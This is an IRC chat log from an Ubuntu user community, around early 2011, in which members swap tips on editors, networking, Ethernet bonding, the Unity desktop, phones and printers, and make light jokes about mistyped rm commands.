<HazRPG> I hate puppy interface too
<hamitron> and debian 5.0 will end soon
<hamitron> but if you try standise a lot of systems around some hardware, and new software will not work with that hardware, you look for alternatives
<devush> what text editor you people use.
<devush> is that gedit.
<devush> anybody on geany etc.
<hamitron> nano and vi
<hamitron> :/
<HazRPG> gedit/scite
<devush> scite. never heard.
<devush> is it good
<HazRPG> I like it
<HazRPG> not sure if there's a linux version, but the source is out there though
<HazRPG> http://www.scintilla.org/SciTE.html
<devush> oh. i checked. it is based on Scintilla.
<HazRPG> apprently it must be
<devush> i have used it a lot on windows.
<devush> about 8-9 years ago. i think.
<devush> i am happy with gedit. and some plugins around that.
<devush> but earlier i tried geany. it has programming support - good.
<HazRPG> might have to try that
<HazRPG> I use atana too though
<devush> i am on java mainly
<HazRPG> for an alternative to dreamweaver - though does so much more
<devush> i have used vi for over 10 years, but not in the last 8-9 years.
<devush> as i used windows - due to the work. and now getting back on the linux/ubuntu etc.
<hamitron> grrr
<devush> for the web editing mainly the CSS etc. which editor you propose.
<HazRPG> like I said I started using aptana
<devush> i use eclipse for java. but some of the code - html/css need better editor
<HazRPG> aptana has two versions, standalone or a plugin for eclipse
<devush> ok. is it free.
<devush> looks good on web. i will give the try.
<ball> devush: I use joe for that.
<HazRPG> I'm using the beta of aptana 3, mainly for php stuff
<HazRPG> joe?
<devush> joe - does it supports color syntax highlights etc.
<hamitron> I forgot about joe \o/
<hamitron> anyways
<hamitron> sleep time
<hamitron> o/
<devush> yes. good night.
<devush> bye
<HazRPG> http://thereifixedit.failblog.org/2010/12/09/white-trash-repairs-nailed-it/
<HazRPG> hmm anyone noticed a bug in chrome?
<HazRPG> where if you stop syncing it just seems to freeze the app
<HazRPG> I just force quit it, and now when it loads it just says "Your profile could not be opened correctly."
<HazRPG> nevermind, turns out chrome hadn't closed properly - closed all running processes, and that fixed it
<MartijnVdS> \o/ 3g + laptop
<MartijnVdS> (no power)
<HazRPG> is 32-bit ubuntu or 64-bit ubuntu better for 6GB RAM and an i7?
<MartijnVdS> HazRPG: if your CPU is 64-bit capable (and i7 is), use 64-bit Ubuntu
<MartijnVdS> unless you have really good/specific reasons to stick to 32-bit
<HazRPG> ah cool
<HazRPG> would there be any reason to stick to 32bit?
<MartijnVdS> some closed-source progams need libraries that are only available in 32-bit
<HazRPG> cos I remember people use to recommend 32-bit to me ages ago when I was using core 2 duo
<MartijnVdS> but you could hack around that
<HazRPG> cool
<davmor2> Morning all
 * davmor2 prods czajkowski to see if she is still with us
<MartijnVdS> does anyone else with Natty have those annoying bottom-right corners on windows?
<MartijnVdS> Even on gnome-panel's panels...
<MartijnVdS> à² _à² 
<TheOpenSourcerer> davmor2: Just discovered http://www.ncftp.com/ncftp/doc/ncftpput.html - This should solve my problem - has a recursive copy function... Hope the gremlins are away today.
<MartijnVdS> TheOpenSourcerer: lftp can do it as well
<TheOpenSourcerer> Yes, but lftp is not as easy to script.
<MartijnVdS> â¥
<MartijnVdS> TheOpenSourcerer: then I'd use LWP :)
<MartijnVdS> TheOpenSourcerer: but I'm a Perl man
<screen-x> morning :)
<MartijnVdS> screen-x: \o
<TheOpenSourcerer> morning all
<davmor2> TheOpenSourcerer: glad to hear you might of got it fixed :)
<TheOpenSourcerer> Am just about to login to the server and try it out.
<screen-x> Anothing bonding question... on a machine with 2 nvidia NICs and 2 intel NICs, why does the bonding driver give more traffic to the intel interfaces? http://paste.ubuntu.com/556089/
<MartijnVdS> which ones are intel? :)
<screen-x> top line of paste :)
<MartijnVdS> screen-x: look at the rx-bytes.. looks like that counts as an "event" as ewll
<MartijnVdS> screen-x: interfaces have either high RX or high TX
<MartijnVdS> so.. ARP issue on the other end?
<MartijnVdS> or expected behaviour?
<screen-x> interesting, I haven't really used link aggregation before, but I guess it could use some channels for tx, and some for rx, but that would a waste of duplex.
<MartijnVdS> true
<screen-x> *would be
<screen-x> maybe it will all even out over time, that box has only been up a few mins.
<MartijnVdS> screen-x: try switching the cables around :)
<screen-x> MartijnVdS: heh, I've removed all the cables a pair at a time, and it copes well :)
<MartijnVdS> failover \o/
 * czajkowski pokes davmor2 
<davmor2> nice natty feature, when the app launcher is hidden if your pinged on irc the xchat icon siddles onto the screen to let you know
<davmor2> czajkowski: Yay! you're still breathin', I haven't got to find someone else to pick on ;)
<czajkowski> nope
<czajkowski> still here, still spluttering
<HazRPG> hey guys, interesting question for ya... relating ping. If a guy with 1Mbps connection pinging google.com and a guy pinging 8Mbps connection pinging google.com, would the time (in ms) be different... assuming that it is found in exactly the same location, and same computer and hardware being used along the same ISP
<MartijnVdS> HazRPG: that depends :)
<MartijnVdS> HazRPG: more bandwidth doesn't automatically mean less latency
<MartijnVdS> it could, but it doesn't have to
<HazRPG> ah cool thanks
<MartijnVdS> (imagine a truck full of hard disks: ping is awful but bandwidth is amazing)
<screen-x> MartijnVdS: great analogy :)
<HazRPG> fantastic analogy
<MartijnVdS> stolen analogy ;)
<HazRPG> :P
<MartijnVdS> Never underestimate the bandwidth of a station wagon full of tapes hurtling down the highway. âTanenbaum, Andrew S. (1996). Computer Networks. New Jersey: Prentice-Hall. pp. 83. ISBN 0-13-349945-6.
 * MartijnVdS steals only from the best :P
<screen-x> :)
<HazRPG> haha win
<HazRPG> anyways thanks, that just proves my point well for my friend
<HazRPG> he's having latency issues
<HazRPG> he's in egypt
<HazRPG> and he's getting like ~500ms in-game and tracert shows ~250ms
<HazRPG> to the same destination
<MartijnVdS> HazRPG: http://en.wikipedia.org/wiki/Bufferbloat
<HazRPG> he's on a 2Mbps connection at the moment, and neither of us can work it out
<HazRPG> I told him to replace his long telephone wire between the router and wall socket, and instead have a longer ethernet cable to try and reduce noise on the line (which solved his drop outs)
<HazRPG> but he's still having latency issues
<HazRPG> and its only really started over the last month or so, he never had issues before that (even with the long telephone line cable)
<MartijnVdS> HazRPG: you could try using "mtr" to see at which hop the latency is introduced
<HazRPG> he's in windows sadly
<MartijnVdS> could it be a "government firewall", or incompetent ISP?
<MartijnVdS> HazRPG:  http://winmtr.net/
<screen-x> HazRPG: you could run an mtr from you to him.
<HazRPG> could be either of those things
<screen-x> MartijnVdS: interesting wikipedia link, who would have thought you could have too much buffer? and that not dropping packets causes problems!
<HazRPG> ok, the latency between me and him seem to happen at the IP 64.209.101.214, just as its leaving the Telia network
<MartijnVdS> screen-x: I read about it on planet gnome or debian
<bigcalm> Morning healthy people
<HazRPG> morning
<MartijnVdS> screen-x: Jim Gettys explained the whole thing on his blog
<screen-x> oh dear, wassup bigcalm?
<bigcalm> Caught a virus. Hopefully just a cold and nothing else
<bigcalm> But I had intended to drive up to Edinburgh on Friday evening. This is what annoys me the most
<screen-x> we'll send danfish round later on.
<screen-x> :(
<HazRPG> hmmm, this is all interesting
<HazRPG> I wonder if there's anything I do to help me
<HazRPG> I mean going from 82ms average to 300-500ms average is a bit much
<MartijnVdS> HazRPG: poke the people that manage the hop that increases latency most
<HazRPG> xD
<DJones> Morning
<bigcalm> Evening
<Myrtti> myyh
<bigcalm> Hi Myrtti. Feeling better?
<Myrtti> marginally so
<Myrtti> probably only because I've not really tried to turn my head yet
<MartijnVdS> Myrtti: it's improvement! improvement is good!
 * DJones offers Myrtti a swivel chair to save her needing to turn her head, although it won't help with looking up & down
<MartijnVdS> DJones: http://en.wikipedia.org/wiki/Gyroscope
<MartijnVdS> chair in the middle -> done!
<MartijnVdS> http://en.wikipedia.org/wiki/Aerotrim
<DJones> MartijnVdS: http://www.youtube.com/watch?v=DK3R2R9aTHc I want one :)
<daubers> Morning all
<popey> hullo hullo!
<popey> hi DaveMorris
<gord> morning all
<popey> A hoi hoi!
<DJones> Morning Mr Burns
<popey> Exxxxxxcelent
 * gord gets a cup of tea and starts doing a round of merge request reviewing so we can release unity later today
<popey> \o/
 * popey cracks the whip
<popey> get to it man!
<hoover> mornin folks
<dwatkins> hiya
<danfish> morning
 * danfish senses that popey maybe in a good/hyper mood again :)
<screen-x> hi daubers
<screen-x> do you use ethernet bonding?
<daubers> screen-x: Yup
<popey> :)
 * popey heads to the vet
<screen-x> daubers: I've been testing with a couple of servers, but can't get above 940mbits/s with a 4 link bond :(
<screen-x> daubers: that's measuring with iperf, and using bonding mode 4 which is lacp/802.3ad
<daubers> screen-x: Is this essentially one server to one client?
<screen-x> daubers: at the moment yes, just testing with two servers
<daubers> In that case you won't.
<daubers> It balances using the client/destination mac/ip addresses
<daubers> If you look at the traffic coming in/out each port using something like dstat you'll see you'll have one port as the up and one as the down
<daubers> if you add another client you'll get another port being used as up as well as the first and so on
<screen-x> daubers: ah, so you never get more than 1 links worth of bandwidth between two machines?
<daubers> screen-x: Yup
<screen-x> oh :( I wanted to be able to create aggregate connections between the VM hosts and the file server
<daubers> screen-x: If you had no switch in the middle you could use balance RR on the server to a balance RR bond on the client, that will give you more bandwidth
<screen-x> daubers: that's a possibility, thanks.
<daubers> screen-x: A more upgradable option would be to look at 10GbE, though the switches can be a bit expensive
<screen-x> yeah, not an option here yet..
<daubers> heh :)
<daubers> i think the PCI-E cards are ~Â£500 at the moment for cx4 ones
<daubers> Might be a bit less than that now though
<Myrtti> *sigh*
<czajkowski> Myrtti: still no relief
<czajkowski> maybe from holding the head still it's putting more tension on it
<davmor2> hello again now millbank
<Myrtti> czajkowski: still no relief... contemplating on finding out if there's a A&E somewhere if they could inject the muscle with relaxant or something, this is getting a bit old now
<czajkowski> Myrtti: aye that might help
<czajkowski> this is why I travel with muscle relaxant pain killers
<DJones> Myrtti: Maybe a massage would help, if I have problems with my back/neck I get my wife who's a trained sports therapist to do the massage, hurts like hell while she's doing it and for another 24 hours, but seems to ease it quite quickly after that
<gord> sure do wish it would get warmer =\
<awilkins> danfish, May have some progress on using  .... ahem ... a certain mail server ... in OSS tools.
<awilkins> danfish, Don't really have time for implementation ATM though
<Myrtti> gord: I was just reading http://blogs.computerworlduk.com/simon-says/2011/01/osi-and-fsf-in-unprecedented-collaboration-to-protect-software-freedom/index.htm and thought "that's why it's so chilly here then"
<HazRPG> woot, my giffgaff SIM arrived :D hurray!
<gord> ha
<danfish> awilkins: ooh - interesting
<danfish> awilkins: can I be of help?
<awilkins> danfish, Pages I think are relevant ;  http://www.msexchange.org/articles/Redirecting-OWA-Users-Correct-Directories-Protocols-Part2.html  http://blogs.interknowlogy.com/timmccarthy/archive/2006/08/05/3659.aspx
<awilkins> Executive summary ; when you configure Evolution to use it's OWA plugin, you get past the first login if you do it right (change your username to your full email address), then it prompts you again
<awilkins> I reckon the second one is this CookieAuth.dll authentication step failing
<awilkins> The cookie thing seems to be the vital missing step
<awilkins> The second link has a C# implementation that caches the cookies so a session can use them.
<awilkins> I wonder if you just try configuring the cookie page...
<danfish> It might be possible
<awilkins> Well, the cookie page thing was a silly idea ; didn't think that would work
<awilkins> But an implementation that is aware of the cookie thing and caches cookies might well work
<danfish> it would be interesting to have another look at the android mail app code and compare
<awilkins> danfish, Isn't that an activesync client?
<HazRPG> wow, I'm really not liking the weather this year
<danfish> awilkins: yeah, you're right. It is an activesync client/server
<HazRPG> thought it started to get warmer quick, but its dropped back down to -3'c
<danfish> (on the android)
<HazRPG> had to sit and defrost the car :/
<n1md4> Hello.  I'm after a bug tracker, not for software development though (aka bugzilla), but for hardware/firmware/kernel issues.  Any suggestions?
<bigcalm> trac is a good tracker
<danfish> awilkins: so no point in comparing! D'oh!
<DJones> Argh. Go away toothache
<awilkins> danfish, Yeah ; the eas server isn't behind this "cookiewall" anyway
<Knightradio> Morning
<andylockran> Greetings Earthlings
<Knightradio> Hey andy
<DJones> Morning Knightradio
<andylockran> Guys, any recommendations on an Android 2.2 Phone with at least 640x480 res.
<bigcalm> Nexus One :D
<DJones> andylockran: Desire HD, pretty sure that meets the 640x480 resolution, had one for 3 months, absolutely no complaints about it at all
<DJones> Yep, 800x480
<gord> nexus one/htc desire/desire HD, samsung galaxy S or Nexus S
<gord> they are all pretty good phones but the nexus/desire range are getting kinda slow now
<DJones> Maybe Dell Streak, but I don't think thats been updated to 2.2 yet
<DJones> When I was getting mine, my shortlist was Streak/Desire HD/Nexus One/Galaxy S, I ruled the streak out because of the older version of Android
<Knightradio> I
<DJones> But there wasn't much to choose between the other 3, Galaxy S had a front facing camera as well for video calls and there was something that the HD had that the others didn't
<gord> galaxy S has a lot going for it, if i had a choice now i would prolly go for the Nexus S/Galaxy S
<DJones> Must admit, despite how good the galaxy s looks & sounds, I've still not met anybody who's bought one
<bigcalm> Sil has
<gord> samsung kinda missed the boat, i know a few owners of S's but those people are late bloomers when it comes to adopting new things
<popey> My boss asked for recommendations for video cameras
<popey> is it bad that I gave him amazon links which use my affiliate code? :)
<bigcalm> popey: never
<popey> i mean, I did the research :)
<popey> Muhahahah!
<popey> that cookie will live on his browser for a month
<popey> hope he buys stuff
<screen-x> popey: does he loose anything by using your link?
<popey> nope
<screen-x> no problem then :)
<screen-x> just tried to install a server into our rack, but it has new fangled rails that don't fit :(
<danfish> screen-x: just get a big hammer and give it a nudge or 2 :P
<popey> "nudge" :)
<screen-x> danfish: I did my equivalent, which was to get a slightly less subtle colleague to have a try ;-)
<screen-x> not going to work though, prob have to get the supplier to swap them.
<andylockran> screen-x: what doesn't fit?
<andylockran> I only realised recently that the holes up and down the side of the cabinet weren't uniformly spaced.
<andylockran> They were in groups of 4...
<screen-x> andylockran: http://i.imgur.com/1i4By.jpg
<HazRPG> slighly off topic, but this is funny as anything! http://www.youtube.com/watch?v=9WDyRF8duOc
<Myrtti> graaaaaaaa
<screen-x> s
<HazRPG> btw, it is SFW - found it off the giffgaff site xD
<andylockran> screen-x: yup, no chance :(
<Myrtti> meh
<brobostigon> morning all.
<AlanBell> popey: ping
<AlanBell> or in fact anyone
<popey> o/
<AlanBell> need to get our logo in eps format to maggie.meer@ecvmagazine.com
<andylockran> galaxy S or HTC Desire HD I think.
<AlanBell> for the expo show
<AlanBell> and I can't do it today
<andylockran> AlanBell: yup.
<AlanBell> the svg of our logo should be on the wiki
<AlanBell> I don't have a browser or inkscape right now
<popey> which logo?
<AlanBell> just irc on the olpc
<AlanBell> the ubuntu-uk logo
<popey> with the union flag in it?
<AlanBell> erm, the new one we voted on
 * brobostigon cant remember whatthat note tking software is.
<popey> tomboy
<brobostigon> cheers popey :)
<popey> AlanBell: the one in the beta site?
 * brobostigon gets popey some chocolate.
<AlanBell> wiki.ubuntu.com/UKTeam
<AlanBell>  /Logo
<X3N> Is anyone going to organise a post expo drinking point?
<AlanBell> X3N: yes
<popey> it needs organising?
<AlanBell> but organise is a bit strong
<X3N> Well, I'd need to know where to go in advance was all I was thinking
<X3N> guess I can just ask in here and hope someone replies
<AlanBell> pick a pub near the barbican, put it in the etherpad
<andylockran> anyone heading to the IRX expo in Birmingham on the 23,24th March ?
<SuperMatt> I've just had a thought, I don't know if this is in any way possible, but can you have gnome terminal switch profile or background colour or something when you're ssh'd to another box?
<TheOpenSourcerer> The St. Pauls Tavern was nice but I think it has been knocked down now :-( And "The Vaults" was a great pub too, under the brewery, but that is now a "club".
<jacobw> SuperMatt: profiles
<TheOpenSourcerer> I used to work on Chiswell Street.
<SuperMatt> jacobw: I know I can create a new profile, but can I get it to change profile when I ssh to somewhere?
<popey> AlanBell: so anyway, how do i make it eps? just open the logo in inkscape and save as eps?
<AlanBell> I think so
<AlanBell> then chuck svg and eps over to maggie
<popey> ok
<popey> well fancy that, I already have inkscape
<brobostigon> reckon it is safe,to try and install ubuntu one on debian ?
<Myrtti> I'm so tempted to preorder Nintendo 3DS... argh
<popey> AlanBell: logo on that page looks broken in inkscape
 * popey tries the others
<awilkins> Inappropriately molest a dog, the Evolution git repo is large
<popey> thats certainly one way to say it
<popey> also, AlanBell unity is making this harder than it should be!
<popey> haha!
<popey> I have beaten unity!
<MartijnVdS> popey: you're now using gnome classic again? :)
<AlanBell> :)
<Myrtti> awwwwwwwwwWWWWWWW
<popey> no, i right clicked a file and used open with inkscape, rather than, you know, opening inkscape and trying to use the menu
<Myrtti> "The latest addition to the mirror-less Micro Four Thirds family adds compatibility with Olympusâ optional new PENPAL Bluetooth Communication Unit, which allows the photographer to transfer images to a compatible Android smartphone, just one of an ever-expanding range of PEN accessories."
<popey> which is UNPOSSIBLE
<Myrtti> DAMNIT
<gord> you can't use the menu in inkscape?
<Myrtti> oh well, c'est la vie
<popey> its greyed out gord
<gord> oh that sucks
<popey> also, see my previous rants on focus follows mouse
<popey> also, the implementation of autohide is a very odd thing
<popey> a window opens near the left edge of the screen, *bam* you lose your unity bar
<popey> you have to pick the window up and move it to get unity bar back
<popey> thats not right
<MartijnVdS> but it's unity! the design team says it's good!
<popey> it should appear when i throw my mouse to the edge of the screen or something
<MartijnVdS> so it must be!
<popey> oh yes, my bad, sorry
<popey> oh goody, inkscape has made an impossible-to-open eps file
<gord> popey, move your mouse to the top left
<popey> ok thats better
<popey> still, the icon i want is at the bottom, i know its at the bottom, i put it there
<gord> i think it should open out when you move your mouse to anywhere on the left as well, but not my call
<popey> but i have to go to the top to get the bar, then go down
<gord> make a bug, make sure mark sees it ;)
<AlanBell> "autohide is a lie"
<gord> its actually pretty nice that it goes away if you throw a window on the left hand side though, gets it out of the way if you want to use that space but if your not, it can use it
<popey> done bug 705375
<lubotu3> Launchpad bug 705375 in unity (Ubuntu) "Too much vertical movement to find an icon" [Undecided,New] https://launchpad.net/bugs/705375
 * gord hits also affects me
 * daubers is worred about the kit that's just been sent to an exhibition in dubai
<daubers> The smashed telle in the back of the lorry was not a good sign....
<popey> chaps
<popey> http://popey.com/~alan/logo/
<DJones> daubers: Maybe it fell of the back of a ....
<popey> can you open those?
<daubers> popey: Yes
<popey> so they look "right"?
<daubers> popey: http://www.daubers.co.uk/~matt/screenypopey.jpg
 * popey takes a screenshot of that and puts it in ~/alan/screenydauby.png
<popey> or something
<gord> looks fine in inkscape but in evince i just get whitespace
<popey> ditto
<gord> is it a drawing of a snow storm?
<czajkowski> peeka boo
<popey> its a painting of a polar bear covering his nose with one paw
<andylockran> in a whiteout
<gord> popey, any specific need for eps? just tried saving as pdf and it looks fine
<AlanBell> we have been asked to provide logo in eps format
 * popey points at AlanBell 
<popey> belatedly
<popey> AlanBell: sent / yhm
<AlanBell> thanks
<HazRPG> hurray, apparently android has beaten iphone in the market over in the US by 1%
<HazRPG> great news for linux :D
<Myrtti> wow, took me whole six minutes to unravel and understand what yhm means
<Myrtti> I guess this is a sign that a nap or something is in order
<HazRPG> yhm?
<Myrtti> "you have mail"
<HazRPG> oh xD
<TheOpenSourcerer> w00t!
<TheOpenSourcerer> Finally got my backup script working. Ended up using lftp. Thanks for all the suggestions.
<TheOpenSourcerer> Time to pop to the bank and pay in a cheque I think.
<AlanBell> w00t!
<HazRPG> holy crap its thursday
<HazRPG> I keep thinking its Friday/Saturday for some reason xD
<HazRPG> hurray for date fail
<HazRPG> brb
<HazRPG> bbl rather
<DJones> HazRPG: If it was saturday, it'd be the weekend and I'd be busy doing things, rather than sat in work watching an IRC window :)
<popey> hah
<andylockran> TheOpenSourcerer: yay for lftp
<kazade> hi everyone
<kazade> The award for strange news story of the day goes to: http://www.guardian.co.uk/music/2011/jan/20/boy-george-icon-cyprus-church?CMP=twt_fd
<screen-x> tried to text "day is having its ups and downs" to my wife, but iphone corrected it to "dating is having its ups and downs" oops!
<brobostigon> o2 webtopup total fail, timeed out moretimes than i can remember, and was damn slow.
<bigcalm> Just pinched the last Caramac bar from the fridge
 * bigcalm does an evil laugh
<MartijnVdS> brobostigon: they don't want your money then ;)
<brobostigon> MartijnVdS: feels like it. ys.
<screen-x> daubers: does having 7.2k drives next to 15k drives in a chassis cause vibration problems?
<jpds> Won't it vibrate anyway?
<screen-x> jpds: probably, I just wondered if mismatched neighbours would upset each other..
<gord> i have cool loading bays in my case
<gord> i love them
<bigcalm> Don't you hate it when you type rm when you meant ls?
<bigcalm> rm *.txt didn't give me the result I was expecting
<jpds> bigcalm: No, more like sl instead of ls.
<screen-x> sl \o/
<bigcalm> What is sl
<bigcalm> ?
<Laney> alias rm to rm -I/-i
<bigcalm> Laney: good idea
<jpds> bigcalm: apt-get install sl -y
<bigcalm> !sl
<Laney> !info sl
<Laney> Â¬_Â¬
<lubotu3> sl (source: sl): Correct you if you type `sl' by mistake. In component universe, is optional. Version 3.03-16 (maverick), package size 24 kB, installed size 188 kB
<AlanBell> it doesn't correct you!
<bigcalm> Oh. I don't go in for those type of correctors
<AlanBell> it punishes you
<bigcalm> I'd rather type the correct command :)
<jpds> bigcalm: You have to run it to see the point.
<screen-x> http://www.dangermouse.net/esoteric/petrovich.html
<bigcalm> screen-x: wow
<daubers> screen-x: They will a little, they'll all only run at the speed fo the slowest drive if their in a RAID config
<screen-x> daubers: but if they are in separate arrays, they'll be fine?
<daubers> screen-x: Yup, depending on your RAID card of course :)
<screen-x> yeah
<gord> sometimes i wonder if i scan at too high a DPI... oh well *opens 75mb jpg file*
<brobostigon> thats weird, under "people nearby" in empathy, it shows me,
<screen-x> brobostigon: are you far from yourself?
<MartijnVdS> brobostigon: you're not near yourself?
<gord> brobostigon, it also shows me on facebook jabber and gtalk too
<brobostigon> screen-x: ie, it shows me as being onthat same computer,i am not onanyother machine.
<gord> it just likes to show you
<MartijnVdS> gord: "Near yourself" is the xmpp-over-bonjour thing
<MartijnVdS> (ichat)
<gord> i know what it is :)
<gord> it shows me as available on all of them
<brobostigon> its weird, why should it show me, as if itstelling me, iamlogged in onthe machine, i am actually on.
<brobostigon> i see no reason why it should do this.
<brobostigon> its interesting behaviour.
<MartijnVdS> I thought mine was showing the one on my laptop
<MartijnVdS> (I'm logged in there as well)
<brobostigon> my only other thing connected is my htc dream, and there is no xmpp-bonjour client on there.
<andylockran> not upgraded my desktop pre-rc for quite a while.. tempted to do it with natty
<andylockran> anyone help with a gdm issue.  I've installed a new screen, but when gdm starts it just shows a blank screen.
<brobostigon> MartijnVdS: i am going to search for bugs, its doesnt seem right behaviour,
<X3N> andylockran: that can happen if you're using separate X servers
<brobostigon> there it is https://bugzilla.gnome.org/show_bug.cgi?id=637151
<awilkins> bigcalm, How about : http://ubuntuforums.org/archive/index.php/t-566018.html
<awilkins> And maybe alias rrm to rm so you can have "really remove" as well as "trashcan remove"
<MartijnVdS> until you use a "real" unix/linux machine later and expect the trashcan behaviour
<MartijnVdS> and don't get it
<awilkins> Hmm. True
<awilkins> Same goes for aliasing it to -I as well though
<MartijnVdS> awilkins: create a "del" command that is rm -I or something
<MartijnVdS> and then use that :)
<MartijnVdS> less confusion \o/
<X3N> there's also no harm in aliasing rm='rm -i'
<awilkins> There is the way I use rm ; I'd be sat there for HOURS
<awilkins> Or I'd have to start using `yes` a lot
<X3N>  /usr/bin/rm
<X3N> or where ever it lives
<X3N>  /bin/rm
<dutchie> or \rm
<andylockran> mr
<Laney> i have NO_rm_star_silent in my zshrc
<bigcalm> Alias all bash commands to rm
<andylockran> alias tail and cat to rm.. really helps with the old audit trail :p
<andylockran> hey guys
<andylockran> is CPAN the preferred method for perl modules on ubuntu?
<dutchie> i use cpan if they aren't packaged
<AlanBell> I did once get into a right pickle mixing packaged perl and cpan perl
<AlanBell> so now I avoid perl
<bigcalm> Hehe
<bigcalm> Use webmin for installing perl modules
<bigcalm> Auto dependances ftw
<andylockran> all our dev is done in perl
<andylockran> yet most my sysadmin scripts are python
<andylockran> so learning perl, for easy of integration with everything else.
<dutchie> andylockran: that sounds completely the wrong way round ;)
<popey> hmm, seems I can reliably and consistently crash unity today
<gord> popey, really? doing what?
<popey> lemme just save my work and do it again
<popey> it segfaults
<gord> if you run unity --advanced-debug in a VT it'll start you in gdb so you can get a backtrace (normally involves just typing run, going back into your display, crashing it then back in the vt type "set log on" and "bt". then "quit" to get out of gdb
<popey> ok, doing that
<popey> ta
<bigcalm> This z-index is going to be the death of me
<danfish> \o/ label printers installed at work. No more handwriting request forms :)
<danfish> ...it's the little things that make me ha-ha-ha-happy
<X3N> popey: that bug I filed bug #700724 is hotting up very exciting
<lubotu3> Launchpad bug 700724 in Launchpad itself "Subscription policy inherited from parent team member" [Low,Triaged] https://launchpad.net/bugs/700724
<popey> yeah
<popey> its been discussed on the loco teams list too
 * brobostigon shakes fist @ adsl
 * Laney lives in the street over from the exchange
<Laney> good times
<directhex> anyone here have a fax machine?
<MartijnVdS> directhex: does it count if I can use my VOIP-account as a fax machine?
<MartijnVdS> directhex: (T.38)
<directhex> MartijnVdS, if you can really actually fax, then yes
<MartijnVdS> I could, if I bothered to set it all up
<screen-x> directhex: what for?
<directhex> screen-x, trying to get our new fax machine working!
<bigcalm> People still fax?
<directhex> screen-x, need to test fax receive (i know sending is buggered)
<Laney> usually one of the parties involved in a fax transaction
<Laney> the other one has to spend 6 hours configuring it
<MartijnVdS> directhex: http://www.tpc.int/faxbyemail.html
<screen-x> directhex: you could test with one of those things where you phone up and they send you a fax back
<MartijnVdS> directhex: free faxing :)
<screen-x> I remember getting psion data sheets like that :)
<danfish> directhex: I have a fax machine right here
<directhex> danfish, can you hit the fax number on http://www.collabora.co.uk/contact/ with a test document?
<directhex> MartijnVdS, trying it
<danfish> directhex: done it now - it's in a bit of a queue tho'
<bigcalm> Anybody hot with css able to help with a z-index issue? :) http://twitpic.com/3rr6g2
<awilkins> Urr. Fax
<awilkins> I had a printer/scanner with a phone jack and a fax feature once
<kazade> hmm, anyone know of an updated Lucid PPA for monodevelop?
<danfish> directhex: no joy - it didn't like your fax machine at all - "comms.error" :(
<awilkins> I would have thought that the voice codecs used by VoIP phones would royally screw with fax codeces
<MartijnVdS> awilkins: they tend to
<MartijnVdS> awilkins: that's why They invented T38
<awilkins> Is it a digital -> analogue codec and you feed it the digital end? or does it do fax > digital > t38 internally?
<MartijnVdS> awilkins: depends on the fax, I guess
<andylockran> hwody
 * hamitron grumbles
<hamitron> 2 hours 40 mins to copy files
<hamitron> :/
<gord> time to get gigabit ethernet!
<daubers> and a raid
<hamitron> well
<MartijnVdS> and a pony
<hamitron> I may of been better not plugging this hdd in on my main comp
<hamitron> then I wouldnt be sat waiting :)
<hamitron> flying , doesnt work :|
<awilkins> Time to grab a BEER
<hamitron> gonna drop the RAID 0 sata1 card in favour of sataII I think
<hamitron> unless I change my mind
<hamitron> ;)
<popey> bigcalm: http://i27.tinypic.com/2j1khf9.png
<bigcalm> popey: PRINTING!
<bigcalm> popey: thank you for that, just made my day :)
<bigcalm> popey: THIS is the best justification yet for buying a colour laser printer
<popey> :)
<popey> http://i904.photobucket.com/albums/ac250/Chhalo/Pigheadandlegs.png
<popey> http://i904.photobucket.com/albums/ac250/Chhalo/pigbody2.png
<popey> I want to see pics!
<popey> of pigs
<popey> http://i29.tinypic.com/s5xlw5.jpg
<bigcalm> Maybe I should invest in some heavy paper
<hamitron> pigs? :/
<bigcalm> This is less than 80mg I think
<awilkins> g/m^2
<bigcalm> Everybody knew what I meant :P
<Myrtti> you people need healthier hobbies
<bigcalm> :O
<bigcalm> Myrtti: this is 'arts & crafts'
<awilkins> Healthier than WH40k models - fewer solvents to inhale
<Myrtti> true
 * kazade just realized he has a colour printer...
<hamitron> I have only just upgraded from inkjet to a black and white lasor :/
<dwatkins> layz0r?
<hamitron> laser
<hamitron> lazer
<dwatkins> Sorry, I don't know what happened there, I just felt compelled to write the word 'LASER' totally incorrectly.
<dwatkins> It's an abbreviation, in fact.
<hamitron> yeh, I am lazy and not thinking ;/
<dwatkins> I wasn't making a comment on the way you'd written it, more the way I wrote it in 'l33t-sp33k'
 * dwatkins apologises for his outburst
 * awilkins has a Samsung CLX2160N
<hamitron> mine is samsung
<alex> Hello?
<hamitron> not used it enough to judge if it is a good buy
<awilkins> Colour lasers are actually pretty cheap now. Mine was Â£300 on account of having a network card and being a scanner as well, but they are around the Â£100 mark now
<hamitron> hi alex
<DJones> Hello alex
<alex> Wehay, it works.
<popey> alex: it does
<hamitron> my B&W one was Â£55
<hamitron> :)
<awilkins> For infrequent printers, I think they are much better value than inkjets because toner doesn't dry out
<alex> I'm not new to the IRC thing, but certainly new to the IRC on Ubuntu thing.
<awilkins> Which client are you using?
<otaku_coder> hi. I'm getting the following when doing an apt-get upgrade on a 10.10 linode server I manage - http://pastebin.com/YV1GgJ9H any ideas what's causing the issues?
<alex> The GNOME X-Chat.
<hamitron> install less?
<alex> I was going to use plain old X-chat, but on the 'more info' pane on the Software Centre, X-Chat said it'd download "enhanced sound daemons."
<alex> And I thought, bollocks to that, I want something that doesn't download "enhanced sound daemons."
<alex> And the GNOME X-chat was right below it.
<awilkins> otaku_coder, Looks like your server doesn't have less installed. Which is odd. Or that it's filesystem is damaged. Which would be bad.
<hamitron> my install didnt have less installed either
<alex> Wait a sec, you're not talking to me.
<hamitron> :/
<alex> That was smooth.
<hamitron> oh sorry alex
<hamitron> haha
<alex> No troubles, bubbles.
<hamitron> didnt think of double meaning
<hamitron> :)
<alex> I'm actually here because I'm a relative Linux/Ubuntu newb, and would appreciate a small kick in the right direction on an install problem.
<alex> But I'll wait until the printer issue has been somewhat resolved.
<alex> And Otaku's apt-get upgrade prob.
<hamitron> I think the printer talk was just random ramblings
<alex> Right-o.
<otaku_coder> awilkins: looks like less is installed, and the filesystem looks fine
<awilkins> Prompted by cut out and stick colour pig templates
<hamitron> :))
<awilkins> otaku_coder, Hmm ; on my fs, less installs to /usr/bin/less
<otaku_coder> awilkins: whereis less also reveals the same
<MartijnVdS> which less :)
<screen-x> MartijnVdS: more or less?
<alex> I'm trying to get Rosegarden onto Maverick Meerkat, but my issue is that when I try to get it through the Ubuntu Software Centre, it says that the install "Requires installation of untrusted packages."
<otaku_coder> which less shows its in /usr/bin/less
<alex> Details: "rosegarden rosegarden-data."
 * hamitron would softlink /bin/less
<awilkins> otaku_coder, My /usr/bin/less is a softlink to /bin/less though
<screen-x> !info rosegarden
